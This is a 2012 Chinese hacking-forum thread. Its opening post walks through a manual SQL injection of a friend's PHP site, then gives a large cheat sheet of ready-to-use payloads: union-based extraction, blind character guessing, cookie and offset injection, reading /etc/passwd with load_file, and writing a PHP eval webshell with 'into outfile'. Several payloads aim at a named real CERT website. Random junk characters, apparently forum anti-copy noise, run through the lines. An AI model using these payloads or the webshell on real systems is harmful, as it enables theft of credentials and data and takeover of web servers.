找回密码
 立即注册
查看: 3824|回复: 2
打印 上一主题 下一主题

手工注入拿下一站

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-23 14:47:22 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
我一个朋友维护一个站点,他对安全不是很懂,就像我一样,呵呵 !O(∩_∩)O~9 \9 y0 [& N+ \
让我看看,既然人家开口了,我也不好拒绝,那就看看吧?7 [- t: N1 L% ^% w# |
我个人喜欢先看有没有上传的地方(上传可是好东西,可以直接拿shell'),其次就是看看什么程序,有没有通杀,然后就是后台,最后看看注入。。。。
$ A4 |* U& o+ \0 b如果是php程序我会先找注入,呵呵!(这个不用我说你们也知道是什么原因咯,废话了,主题开始。。。)' T5 l- d+ \6 H9 o% Y9 u& m' @' _# a/ P# p
1.打开地址,发现是php程序,呵呵.既然是php程序,先找找注入吧?看看有没有交互的地方,(所谓交互就是像news.php?id=1,news.asp?id=1这样的,)
; ^6 U& s2 N) ?: t& n这个站很悲剧,随便点开一个链接加一个 ’ 结果悲剧了,爆出:) z2 c0 r% Z" D: [, h
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in7 ]" }# }$ \9 D- K3 }
/data/home/nus42j1/htdocs/news.php on line 59 ,物理路径出来了,到这一步啊,已经可以证实存在注入
1 |- x0 _4 o" ]1 \0 V8 p8 `- S" }                        
3 v  M2 Q5 s) X5 k; G, l) @2.不过既然是学习,我们就要一步一步的来,还是老规矩 and 1=1 ,and 1=2 ,返回结果不一样,证明存在注入,
* q! _4 s+ y8 k0 Q1 z" u3.下一步很自然的查询字段数:用order by+二分法,加上order by 8 返回正常,order by 9 不正常。说明字段数为8 ,继续提交 and 1=2 union select 1,2,3,4,5,6,7,8 - -返回一个3   ,一个5 ,说明可以利用字段数才两个,有时候会有很多个哦,要注意, n6 G% q3 P5 H
4.继续提交and 1=2 union select 1,2,user(),4,version(),6,7,8-- ,当然还有database(),等等.......返回版本,用户等等系列信息
# B6 D  o) H0 ~. C( ~8 V5.rp差了一点,不是root权限,不过版本大于5.0,支持虚拟库information_schema。& Q- _: O8 l8 g1 Z( c
有两种思路:1.使用Load_file函数获取数据库账号密码,通过操作数据库获取webshell,$ B5 r9 C. P; f6 x6 ^
2.继续爆出数据库里的表名和列名,登陆后台想办法上传获取webshell。3 a* k' _. c0 x
我就用的是第二个思路," E% c3 m" Q$ U0 {) f
提交and 1=2 union select 1,2,3,4,table_name,6,7,8  from information_schema.tables where table_schema=database() limit 0,1--  
3 q! m+ q! k1 O% e- T, A( @6.由于数据库表比较多,这里有48个表,我只是做检测,原理是这样,剩下的只要把 limit 0,1 中的0一次往上加可以爆出所有表名,然后是获取表里的字段,$ h  q+ Z5 D$ c% B/ ?
提交:and 1=2 union select 1,2,3,4, COLUMN_NAME,6,7,8 from information_schema.columns where table_name=0x635F61646D696E5F616373696F6E limit 0,1--
! U7 F) z: a. N8 a& @5 [注意:这里的0x635F61646D696E5F616373696F6E是kc_admin_action 表的十六进制表示,得到密码账号后就到md5破解网站进行破解。
- N4 l. r# K# b. c7.到这里呢我该结束了,还要提供给我朋友修补的意见,不过写了这么多了,也不怕在写一点,延伸思路,如果你的密文md5破不出来呢????怎么办????! X# T1 S: B& K4 h1 r
是不是放弃了,当然不是,看看开了什么端口,如果是centos,lamp环境。我们自然是用load_file了,先验证有读的权限, /etc/passwd.....+ D/ h  L; `: u! ?
提交:and 1=2 union select 1,2,3,4,load_file(你要找的东东),6,7,8 --
4 `; @+ ?1 t8 d" C4 g然后你就找你要的信息,主要是一些敏感文件,还有就是有没有前辈留下的东西,比如某些记录口令保存在本地的东东,我们还可以通过操作数据库备份出来一个shell,
# _) q" ]+ i; c$ Z. Z* C! M+ _* x调出mysql命令,执行:Select '<?php eval($_POST[cmd]);?>' into outfile '/xxx/xxx/1.php ,也可以分步执行建立一个临时表插入一句话,然后备份,前者比较简单并且不容易误删什么东西。前提是我们要有写入权限......
6 Q/ r% ]9 T2 N+ _- g9 ~8 U下面是一些很普遍注入方式资料:
) h: R! n/ S% z: l9 u注意:对于普通的get注入,如果是字符型,前加' 后加 and ''='7 ~: m# m! m- F4 V
拆半法
1 @; D0 h; d+ }######################################7 S: e# E8 e; z
and exists (select * from MSysAccessObjects) 这个是判断是不是ACC数据库,MSysAccessObjects是ACCESS的默认表。$ {: ?- e& B5 z  d
and exists (select * from admin)
# |, a6 [. T& T! V$ {( dand exists(select id from admin)
/ g% q0 \  U$ Z) Iand exists(select id from admin where id=1)
$ V7 f8 _) x/ M# \7 L9 Land exists(select id from admin where id>1)
5 ~+ j3 y- `( H- O# P然后再测试下id>1 正常则说明不止一个ID 然后再id<50 确定范围 ) V% N2 z6 A6 ~/ J7 h1 L7 Q/ t
and exists (select username from admin)
" P8 }" a" A+ f7 d# j! eand exists (select password from admin)/ T& s6 ^; ?. u: ~- b
and exists (select id from admin where len(username)<10 and id=1)/ J9 l: S  u6 E9 g3 r8 q; N/ v
and exists (select id from admin where len(username)>5 and id=1)
% }6 i2 {  _* {7 @+ T7 n' R/ n; cand exists (select id from admin where len(username)=6 and id=1)
, h$ J9 [. t* q  ^and exists (select id from admin where len(password)<10 and id=1)5 O+ |7 }5 i$ o- C, h4 X/ g6 j
and exists (select id from admin where len(password)>5 and id=1). K( S7 \* ?, f; k4 p( R
and exists (select id from admin where len(password)=7 and id=1)
5 _/ F7 s# C4 i, S7 \4 qand (select top 1 asc(mid(username,1,1)) from admin)=977 l7 C, l+ C: @+ |% M1 g
返回了正常,说明第一username里的第一位内容是ASC码的97,也就是a。. g6 ?. p+ D! |! y7 Q# D) O$ y
猜第二位把username,1,1改成username,2,1就可以了。
. n, c1 F4 G. {7 Z8 u猜密码把username改成password就OK了: x& N! S6 `9 _0 k9 b5 q' }. S
##################################################6 X! K7 B) ?2 u3 R2 h
搜索型注入
9 E& l' X9 u' l2 U& L' @  G7 g##################################, p% y8 H2 c  _) k9 s, @; }2 C2 r
%' and 1=1 and '%'='
, H3 t5 R+ \6 n; |%' and exists (select * from admin) and '%'='
3 E* C( K; f0 S9 M! L%' and exists(select id from admin where id=1) and '%'='
+ l" k+ \, ~) c%' and exists (select id from admin where len(username)<10 and id=1) and '%'='
0 X! p# I4 c. J! z  u2 R3 a) ]. M%' and exists (select id from admin where len(password)=7 and id=1) and '%'='* C( H8 V% y0 E6 }% R9 K
%' and (select top 1 asc(mid(username,1,1)) from admin)=97 and '%'='
* h- X8 `$ u7 F% y这里也说明一下,搜索型注入也无他,前加%' 后加 and '%'='
6 T0 O( Z% ^2 J9 [对于MSSQL数据库,后面可以吧 and '%'='换成--
4 C8 c$ O% E3 L0 `: x0 L还有一点搜索型注入也可以使用union语句。
7 G! I5 |5 `4 r# z3 h( a% N8 ?########################################################; @6 b9 K- W" n5 j7 [- {8 l5 q
联合查询。6 L" ~! r  X- J$ ~& H" s0 J9 d
#####################################8 u$ ?% R/ k$ _2 g
order by 10* i/ j  ^* ]6 g( l
and 1=2 union select 1,2,3,4,5,6,7,8,9,105 ~) M+ D, c8 b0 o
and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin- l3 _$ v( \$ A3 [. v) ]
and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin where id=1
7 j. u/ s* O6 B- F% h6 U2 I很简单。有一点要说明一下,where id=1 这个是爆ID=1的管理员的时候,where id=1就是爆ID=2的管理用的,一般不加where id=1这个限制语句,应该是爆的最前面的管理员吧!(注意,管理的id是多少可不一定哈,说不定是100呢!)" A, k2 P' K' \1 v
###################################
" w; ?2 p  M( A4 g6 G7 s. ~cookie注入
; V' P' u9 {& S  U% s2 v###############################
0 ~0 _7 k* D. b2 I& ]( y2 r, @% Khttp://www.******.com/shownews.asp?id=127" Z) Q0 h9 ^- d+ e3 c5 e
http://www.******.com/shownews.asp3 L) i0 Y: m1 l' m, ?( X, J1 Q
alert(="id="+escape("127"));
# V! T% R+ F% Oalert(="id="+escape("127 and 1=1"));& ^% \/ r! M9 G0 [, c0 G% g
alert(="id="+escape("127 order by 10"));
! n, a3 E* K  v0 ~- b& {alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin"));9 N3 K& O2 w2 _* t5 U: d9 d! Q# s
alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin where id=1"));" p, c& ~5 j$ n+ k. {$ H% p! K
这些东西应该都不用解释了吧,给出语句就行了吧。这里还是用个联合查询,你把它换成拆半也一样,不过不太适合正常人使用,因为曾经有人这样累死过。
/ _2 \6 ?! V9 @0 a: v###################################  p1 F! a! u  F, m1 D6 |( q. d
偏移注入
$ z/ j: v1 ^' {# i! t& g5 E###########################################################
7 h& q, g# k( ounion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin
' i, C8 Z' c, ^" R% M+ h0 k/ iunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin) d; h" B* E4 I
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from (admin as a inner join admin as b on a.id=b.id)
' ?1 W. E1 s7 i/ _4 Y/ Wunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,* from (admin as a inner join admin as b on a.id=b.id)
% ~5 V( Y7 c! z% F& yunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)$ d: O) Z- ]4 @, \6 k! e+ b: @
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)6 Z2 Y& B# J( q& E' g
union select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on
) t, Z9 R' M( Ga.id=d.id)+ D+ k' n4 W+ v  W0 T9 a3 p0 W
and 1=2 union select 1,* from (admin as a inner join admin as b on a.id=b.id)/ C  I8 A- `' u
and 1=2 union select 1,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
% w. I, Y# |( T' c2 X  
8 W0 u" o) _8 y============================================================================================================
8 v( C7 ?0 j+ T9 I1.判断版本! X' y$ C( i+ k8 P. V
and ord(mid(version(),1,1))>515 q1 N7 ~' V5 B$ J2 H2 r3 O
返回正常,说明大于4.0版本,支持ounion查询9 R& C! T" v5 P5 o( a7 h6 q- g
2.猜解字段数目,用order by也可以猜,也可以用union select一个一个的猜解( c% M- b+ R( k/ {4 k) D
and 2=4 union select 1,2,3,4,5,6,7,8,9--
+ V! ^2 R" b5 a/ Y+ A8 N3.查看数据库版本及当前用户,
( g  W7 h! h$ n% Q) Cand 2=4 union select 1,user(),version(),4,5,6,7,8,9--
1 i: }1 ]2 p/ D1 m, w( o- Z$ e数据库版本5.1.35,据说mysql4.1以上版本支持concat函数,我也不知道是真是假,; l% T7 O  J% I7 b9 |
4.判断有没有写权限9 a; B9 q0 ~% l! G5 D6 e+ j$ A+ z
and (select count(*) from MySQL.user)>0-- , u! X) V+ v$ ^, ?2 b, T) r
5.查库,以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_schema.SCHEMATA limit 0,17 k' n8 g$ I. H  T8 H
用不了这个命令,就学习土耳其黑客手法,如下
* J+ Z$ x+ q, h+ H. |. a( T% eand+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns--+ a+ p/ C' Y2 }
6.爆表,爆库! w( O* \) u( i! x; c% H! O5 M; d
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274--
2 e  e* d( |3 M7.爆列名,爆表
1 H, r1 N# p8 t5 ~1 E% o$ M: Rand+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973--* c$ O/ i! w& y; b
8.查询字段数,直接用limit N,1去查询,直接N到报错为止。. g' w# o: [; i3 }
and+1=0+union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys--
- J* B: U3 h" u' x- d1 `, z: r9.爆字段内容
& F* `2 m  ^' a9 Iand+1=0+union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+0,1--
; R4 O% u2 ^: ~4 E* ]9 Khttp://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+1,1--
回复

使用道具 举报

沙发
发表于 2012-9-24 21:40:46 | 只看该作者
非常好的归纳。坐下慢慢看~
回复 支持 反对

使用道具 举报

板凳
发表于 2012-9-25 18:53:39 | 只看该作者
谢谢分享,学习思路啊
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表